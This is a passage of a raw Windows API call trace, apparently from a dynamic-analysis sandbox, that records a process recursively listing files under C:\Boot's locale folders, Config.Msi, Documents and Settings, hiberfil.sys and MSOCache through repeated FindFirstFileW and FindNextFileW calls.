ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.084] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.084] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.084] FindNextFileW (in: hFindFile=0x7cb7d0, lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0037.084] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.084] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.084] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.085] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.085] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.085] FindNextFileW (in: hFindFile=0x7cb7d0, lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0037.085] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.085] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.085] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.085] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.085] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.085] FindNextFileW (in: hFindFile=0x7cb7d0, lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0037.085] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.085] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.085] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.085] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.086] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.086] FindNextFileW (in: hFindFile=0x7cb7d0, lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0037.086] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.086] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.086] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.086] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.086] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.086] FindNextFileW (in: hFindFile=0x7cb7d0, lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0037.086] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.086] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.086] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.086] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.086] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.086] FindNextFileW (in: hFindFile=0x7cb7d0, lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0037.087] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.087] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.087] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.087] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.087] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.087] FindNextFileW (in: hFindFile=0x7cb7d0, lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0037.087] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.087] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.087] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.087] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.087] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.087] FindNextFileW (in: hFindFile=0x7cb7d0, lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0037.087] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.088] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.089] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0037.089] FindClose (in: hFindFile=0x7cb890 | out: hFindFile=0x7cb890) returned 1 [0037.089] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e40088 | out: hHeap=0x790000) returned 1 [0037.089] FindNextFileW (in: hFindFile=0x7cb7d0, lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0037.089] FindClose (in: hFindFile=0x7cb7d0 | out: hFindFile=0x7cb7d0) returned 1 [0037.089] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4de0068 | out: hHeap=0x790000) returned 1 [0037.089] FindNextFileW (in: hFindFile=0x7cb790, lpFindFileData=0x45ffd00 | out: lpFindFileData=0x45ffd00*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0037.089] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb7d0 [0037.089] FindNextFileW (in: hFindFile=0x7cb7d0, lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.089] FindNextFileW (in: hFindFile=0x7cb7d0, lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0037.089] FindClose (in: hFindFile=0x7cb7d0 | out: hFindFile=0x7cb7d0) returned 1 [0037.089] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4de0068 | out: hHeap=0x790000) returned 1 [0037.089] FindNextFileW (in: hFindFile=0x7cb790, lpFindFileData=0x45ffd00 | out: lpFindFileData=0x45ffd00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0037.089] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="缀\x86\x16")) returned 0xffffffff [0037.090] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4de0068 | out: hHeap=0x790000) returned 1 [0037.090] FindNextFileW (in: hFindFile=0x7cb790, lpFindFileData=0x45ffd00 | out: lpFindFileData=0x45ffd00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x813b7be0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0037.090] FindFirstFileW (in: lpFileName="C:\\MSOCache\\*", lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb7d0 [0037.113] FindNextFileW (in: hFindFile=0x7cb7d0, lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.113] FindNextFileW (in: hFindFile=0x7cb7d0, 